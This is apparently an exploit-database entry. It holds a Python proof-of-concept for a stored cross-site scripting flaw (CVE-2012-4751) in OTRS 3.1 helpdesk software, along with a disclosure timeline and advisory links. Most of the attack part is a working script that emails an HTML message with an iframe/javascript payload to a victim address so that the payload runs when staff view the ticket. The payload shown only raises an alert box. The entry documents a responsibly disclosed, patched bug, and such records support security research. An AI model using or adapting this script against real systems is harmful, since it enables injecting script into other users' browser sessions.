OTRS 3.1 – Persistent Cross-Site Scripting
#!/usr/bin/python ''' Author: Mike Eduard - Znuny - Enterprise Services for OTRS Product: OTRS Open Technology Real Services Version: 3.1.8, 3.1.9 and 3.1.10 Vendor Homepage: http://otrs.org CVE: 2012-4751 Timeline: 03 Sep 2012: Vulnerability reported + fix to vendor 04 Sep 2012: Vulnerability reported to CERT 05 Sep 2012: Response received from CERT 28 Sep 2012: Update from vendor to have it fixed and released on 16 Oct 2012 16 Oct 2012: Update: vulnerability patched http://www.kb.cert.org/vuls/id/603276 http://znuny.com/#!/advisory/ZSA-2012-03 http://www.otrs.com/en/open-source/community-news/security-advisories/security-advisory-2012-03/ 17 Oct 2012: Public Disclosure Installed On: Windows Server 2008 R2 & Open SUSE 12.1 Client Test OS: Window 7 Pro SP1 (x86) Browser Used: Firefox 14+16 & Opera 12.01 Injection Point: HTML Email Injection Payload(s): 1: <iframe src="https://www.exploit-db.com/exploits/22070/ javascript:alert('XSS Exploit');"></iframe> ''' import smtplib, urllib2 payload = """ <iframe src="https://www.exploit-db.com/exploits/22070/ javascript:alert('XSS Exploit');"></iframe> """ def sendMail(dstemail, frmemail, smtpsrv, username, password): msg = "From: hacker@znuny.local\n" msg += "To: victim@victim.local\n" msg += 'Date: Today\r\n' msg += "Subject: Offensive Security\n" msg += "Content-type: text/html\n\n" msg += "XSS" + payload + "\r\n\r\n" server = smtplib.SMTP(smtpsrv) server.login(username,password) try: server.sendmail(frmemail, dstemail, msg) except Exception, e: print "[-] Failed to send email:" print "[*] " + str(e) server.quit() username = "hacker@znuny.local" password = "123456" dstemail = "victim@victim.local" frmemail = "hacker@znuny.local" smtpsrv = "127.0.0.1" print "[*] Sending Email" sendMail(dstemail, frmemail, smtpsrv, username, password) |